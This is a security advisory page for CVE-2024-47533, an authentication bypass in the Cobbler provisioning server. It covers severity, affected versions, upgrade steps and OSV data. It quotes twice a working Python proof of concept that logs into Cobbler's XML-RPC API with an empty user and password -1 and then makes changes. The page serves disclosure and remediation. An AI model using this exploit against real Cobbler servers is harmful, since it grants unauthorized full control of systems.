CVE-2024-47533: Cobbler Cobbler Allows Anyone To Connect Vulnerability

CRITICAL
Advisory Identifier: GHSA-m26c-fcgh-cp6h
CVSS 9.8
CWE-287
Published
Advisory Summary

CVE-2024-47533 is a CRITICAL (CVSS 9.8) cobbler allows anyone to connect vulnerability (CWE-287: Improper Authentication) affecting Cobbler libraries in the PyPI ecosystem. The issue involves cobbler allows anyone to connect to cobbler xml-rpc server with known password and make changes. Remediation is available by upgrading affected packages to version 3.3.7, 3.2.3.

CVE-2024-47533 at a Glance

CVE Identifier CVE-2024-47533
GHSA Identifier GHSA-m26c-fcgh-cp6h
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-287: Improper Authentication
Affected Product Cobbler
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-47533

To remediate this vulnerability, upgrade all affected Cobbler dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

cobbler fixed: 3.3.7
pip install cobbler>=3.3.7
cobbler fixed: 3.2.3
pip install cobbler>=3.2.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show cobbler

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-47533, inspect your installed packages using pip:

pip show cobbler

Analyze the terminal output to locate any version of Cobbler in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.7), your application is affected.

Note: The pip show cobbler command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Cobbler, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. """ try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params)) except Exception as e: print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params)) print("Login success!") system_id = conn.new_system(token) ``` ### Impact This gives anyone with network access to a cobbler server full control of the server.

CVE-2024-47533 Affected Cobbler Versions

2 component(s)
Fixed Versions:
3.3.73.2.3
Product / Package Ecosystem Affected Versions Fixed Version
cobbler
PyPI
≥ 3.3.0
< 3.3.7
3.3.7
cobbler
PyPI
≥ 3.0.0
< 3.2.3
3.2.3

References

Frequently Asked Questions

What is CVE-2024-47533?
CVE-2024-47533 is a security vulnerability in Cobbler involving cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes under CWE-287: Improper Authentication.
Which Cobbler versions are affected?
Affected versions include releases prior to 3.3.7, 3.2.3 across affected packages: cobbler.
What version fixes CVE-2024-47533?
Upgrading to 3.3.7, 3.2.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is cobbler affected?
Yes, cobbler is affected in releases prior to 3.3.7, 3.2.3. Upgrade your dependency to 3.3.7, 3.2.3 or later.
What is the CVSS score of CVE-2024-47533?
CVE-2024-47533 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-47533?
CVE-2024-47533 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for CVE-2024-47533?
Run the dependency tree command: 'pip show cobbler'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m26c-fcgh-cp6h",
  "modified" : "2024-11-18T20:00:56Z",
  "published" : "2024-11-18T20:00:56Z",
  "aliases" : [ "CVE-2024-47533" ],
  "summary" : "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes",
  "details" : "### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -> Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "cobbler"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.3.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "cobbler"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.2.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47533"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cobbler/cobbler"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-18T20:00:56Z",
    "nvd_published_at" : "2024-11-18T17:15:11Z"
  }
}